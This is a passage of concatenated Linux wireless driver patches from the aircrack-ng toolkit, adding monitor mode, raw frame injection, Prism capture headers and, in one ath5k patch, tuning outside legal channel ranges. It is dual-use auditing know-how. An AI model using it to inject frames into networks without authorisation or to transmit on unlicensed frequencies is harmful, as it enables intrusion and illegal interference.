linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2mgmt.c 2005-01-25 01:38:50.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2mgmt.c 2005-03-14 13:58:11.000000000 +0100 @@ -2855,9 +2855,10 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2869,6 +2870,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2914,7 +2917,8 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2sta.c 2005-01-25 01:38:50.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2sta.c 2005-03-14 13:58:11.000000000 +0100 @@ -649,7 +649,8 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.2-rc4/patches/old/ath5k-frequency-chaos-2.6.27-gentoo-r2.patch0000644000000000000000000001555611143173567024645 0ustar rootrootThis patch allows for highly extended frequency settings for Atheros wifi cards. I have tested and confirmed the frequencies as best as I can. Monitoring should be safe, but transmitting will most likely lead to the fcc paying you a vist. I have done all I can to stop you from accidently getting in trouble, the rest is up to you. -ZC ----------------------------------------------------------------------------------- diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/ath5k.h linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/ath5k.h --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/ath5k.h 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/ath5k.h 2008-11-12 23:19:12.000000000 -0500 @@ -23,7 +23,7 @@ * long and results timeouts). It's also illegal to tune to some of the * supported frequencies in some countries, so use this at your own risk, * you've been warned. */ -#define CHAN_DEBUG 0 +#define CHAN_DEBUG 1 #include #include diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.c linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.c --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.c 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.c 2008-11-12 23:19:12.000000000 -0500 @@ -217,7 +217,7 @@ static void ath5k_detach(struct pci_dev *pdev, struct ieee80211_hw *hw); /* Channel/mode setup */ -static inline short ath5k_ieee2mhz(short chan); +static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq); static unsigned int ath5k_copy_rates(struct ieee80211_rate *rates, const struct ath5k_rate_table *rt, unsigned int max); @@ -804,12 +804,15 @@ * Convert IEEE channel number to MHz frequency. */ static inline short -ath5k_ieee2mhz(short chan) +ath5k_ieee2mhz(int chan, unsigned int chfreq) { - if (chan <= 14 || chan >= 27) - return ieee80211chan2mhz(chan); + if (chfreq == CHANNEL_5GHZ) + return (chan + 1000) * 5; else - return 2212 + chan * 20; + if (chan <= 14 || chan >= 27) + return ieee80211chan2mhz(chan); + else + return 2212 + chan * 20; } static unsigned int @@ -839,7 +842,8 @@ unsigned int mode, unsigned int max) { - unsigned int i, count, size, chfreq, freq, ch; + unsigned int i, count, size, chfreq, freq; + int ch; if (!test_bit(mode, ah->ah_modes)) return 0; @@ -847,14 +851,17 @@ switch (mode) { case AR5K_MODE_11A: case AR5K_MODE_11A_TURBO: - /* 1..220, but 2GHz frequencies are filtered by check_channel */ - size = 220 ; + /* -16..220 */ + size = 241 ; + ch = -40; chfreq = CHANNEL_5GHZ; break; case AR5K_MODE_11B: case AR5K_MODE_11G: case AR5K_MODE_11G_TURBO: - size = 26; + /* -19..26 */ + size = 70; + ch = -42; chfreq = CHANNEL_2GHZ; break; default: @@ -862,9 +869,8 @@ return 0; } - for (i = 0, count = 0; i < size && max > 0; i++) { - ch = i + 1 ; - freq = ath5k_ieee2mhz(ch); + for (i = 0, count = 0; i < size && max > 0; i++,ch++) { + freq = ath5k_ieee2mhz(ch,chfreq); /* Check if channel is supported by the chipset */ if (!ath5k_channel_ok(ah, freq, chfreq)) diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.h linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.h --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/base.h 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/base.h 2008-11-12 23:27:26.000000000 -0500 @@ -51,8 +51,8 @@ #include "debug.h" #define ATH_RXBUF 40 /* number of RX buffers */ -#define ATH_TXBUF 200 /* number of TX buffers */ -#define ATH_BCBUF 1 /* number of beacon buffers */ +#define ATH_TXBUF 0 /* number of TX buffers */ +#define ATH_BCBUF 0 /* number of beacon buffers */ struct ath5k_buf { struct list_head list; diff -Naur linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/hw.c linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/hw.c --- linux-2.6.27-gentoo-r2/drivers/net/wireless/ath5k/hw.c 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/drivers/net/wireless/ath5k/hw.c 2008-11-12 23:21:29.000000000 -0500 @@ -2319,8 +2319,9 @@ */ if (AR5K_EEPROM_HDR_11A(ee_header)) { - ah->ah_capabilities.cap_range.range_5ghz_min = 5005; /* 4920 */ - ah->ah_capabilities.cap_range.range_5ghz_max = 6100; + ah->ah_capabilities.cap_range.range_5ghz_min = 4800; /* 4920 */ + ah->ah_capabilities.cap_range.range_5ghz_max = 6000; /* 6100 is what the code said but */ + /* it fried one of my cards */ /* Set supported modes */ __set_bit(AR5K_MODE_11A, @@ -2336,8 +2337,8 @@ * connected */ if (AR5K_EEPROM_HDR_11B(ee_header) || AR5K_EEPROM_HDR_11G(ee_header)) { - ah->ah_capabilities.cap_range.range_2ghz_min = 2412; /* 2312 */ - ah->ah_capabilities.cap_range.range_2ghz_max = 2732; + ah->ah_capabilities.cap_range.range_2ghz_min = 2192; /* 2312 */ + ah->ah_capabilities.cap_range.range_2ghz_max = 2737; /* 2732 */ if (AR5K_EEPROM_HDR_11B(ee_header)) __set_bit(AR5K_MODE_11B, @@ -2379,24 +2380,6 @@ ATH5K_TRACE(ah->ah_sc); switch (ah->ah_op_mode) { - case IEEE80211_IF_TYPE_IBSS: - pcu_reg |= AR5K_STA_ID1_ADHOC | AR5K_STA_ID1_DESC_ANTENNA | - (ah->ah_version == AR5K_AR5210 ? - AR5K_STA_ID1_NO_PSPOLL : 0); - beacon_reg |= AR5K_BCR_ADHOC; - break; - - case IEEE80211_IF_TYPE_AP: - pcu_reg |= AR5K_STA_ID1_AP | AR5K_STA_ID1_RTS_DEF_ANTENNA | - (ah->ah_version == AR5K_AR5210 ? - AR5K_STA_ID1_NO_PSPOLL : 0); - beacon_reg |= AR5K_BCR_AP; - break; - - case IEEE80211_IF_TYPE_STA: - pcu_reg |= AR5K_STA_ID1_DEFAULT_ANTENNA | - (ah->ah_version == AR5K_AR5210 ? - AR5K_STA_ID1_PWR_SV : 0); case IEEE80211_IF_TYPE_MNTR: pcu_reg |= AR5K_STA_ID1_DEFAULT_ANTENNA | (ah->ah_version == AR5K_AR5210 ? diff -Naur linux-2.6.27-gentoo-r2/net/wireless/reg.c linux-2.6.27-gentoo-r2-afc/net/wireless/reg.c --- linux-2.6.27-gentoo-r2/net/wireless/reg.c 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/net/wireless/reg.c 2008-11-12 23:23:53.000000000 -0500 @@ -70,6 +70,22 @@ RANGE_PWR(5745, 5825, 30, 6, 0), }; +static const struct ieee80211_channel_range ieee80211_DEBUG_channels[] = { +/* + * WARNING: These values are strictly based on my own limited testing. + * This does not seem to damage MY cards in the limited time I was testing. + * Monitor mode tuning of these channels *should* be 100% safe, however, + * ANY transmissions may not only permanently damage your card, it may also + * bring the feds down on you. + * + */ + /* IEEE 802.11b/g, channels -42..26 */ + RANGE_PWR(2192, 2732, 1, 6, 0), + /* IEEE 802.11a, channels -40..240, outdoor */ + RANGE_PWR(4800, 6000, 1, 6, 0), +}; + + static const struct ieee80211_channel_range ieee80211_JP_channels[] = { /* IEEE 802.11b/g, channels 1..14 */ RANGE_PWR(2412, 2484, 20, 6, 0), @@ -108,6 +124,7 @@ REGDOM(US), REGDOM(JP), REGDOM(EU), + REGDOM(DEBUG), }; aircrack-ng-1.2-rc4/patches/old/zd1211rw_inject_2.6.20.patch0000644000000000000000000001270210761053203021602 0ustar rootrootdiff -Naur linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-03-23 20:52:51.000000000 +0100 +++ linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-16 01:53:58.000000000 +0200 @@ -202,7 +202,13 @@ goto disable_rx; housekeeping_enable(mac); + netif_carrier_on(netdev); ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -835,6 +841,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -858,7 +865,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -903,6 +913,7 @@ static int zd_mac_tx(struct zd_mac *mac, struct ieee80211_txb *txb, int pri) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int i, r; for (i = 0; i < txb->nr_frags; i++) { @@ -911,7 +922,10 @@ r = fill_ctrlset(mac, txb, i); if (r) return r; - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) return r; } @@ -929,6 +943,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -942,7 +958,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -956,6 +974,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1062,7 +1083,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { /* FIXME: update? */ return -EINVAL; } diff -Naur linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-03-23 20:52:51.000000000 +0100 +++ linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-09 22:49:51.000000000 +0200 @@ -58,6 +58,7 @@ { USB_DEVICE(0x079b, 0x0062), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x1582, 0x6003), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x050d, 0x705c), .driver_info = DEVICE_ZD1211B }, + { USB_DEVICE(0x083a, 0x4505), .driver_info = DEVICE_ZD1211B }, /* "Driverless" devices that need ejecting */ { USB_DEVICE(0x0ace, 0x2011), .driver_info = DEVICE_INSTALLER }, {} @@ -851,6 +852,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-03-23 20:52:51.000000000 +0100 +++ linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-09 22:42:11.000000000 +0200 @@ -223,6 +223,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.2-rc4/patches/old/rtl8187_1010.0622.patch0000644000000000000000000001477210761053203020341 0ustar rootroot--- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_prismhdr/beta-8187/ieee80211.h 2006-11-29 20:28:16.152853116 +0100 @@ -156,6 +156,23 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +#define IW_MODE_MONITOR_PRISM 15 +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_prismhdr/beta-8187/r8187_core.c 2006-12-16 16:44:12.244211046 +0100 @@ -1112,7 +1112,10 @@ struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -2346,7 +2349,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,6 +2372,8 @@ // priv->rxskb = skb; // priv->tempstats = &stats; + + stats.signal -= stats.noise; if(!ieee80211_rx(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_prismhdr/beta-8187/r8187.h 2006-12-16 16:44:31.418296142 +0100 @@ -148,7 +148,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211.h 2006-11-29 20:45:25.190415628 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211_rx.c 2006-12-14 11:40:23.461865287 +0100 @@ -49,12 +49,72 @@ struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, rx_stats->mac_time); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211_tx.c 2006-12-16 11:57:57.695139366 +0100 @@ -458,7 +458,8 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211_softmac_wx.c 2006-11-29 20:43:49.275996836 +0100 @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } aircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.20.patch0000644000000000000000000056000410761053203020107 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-02-26 03:05:07.691423532 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void 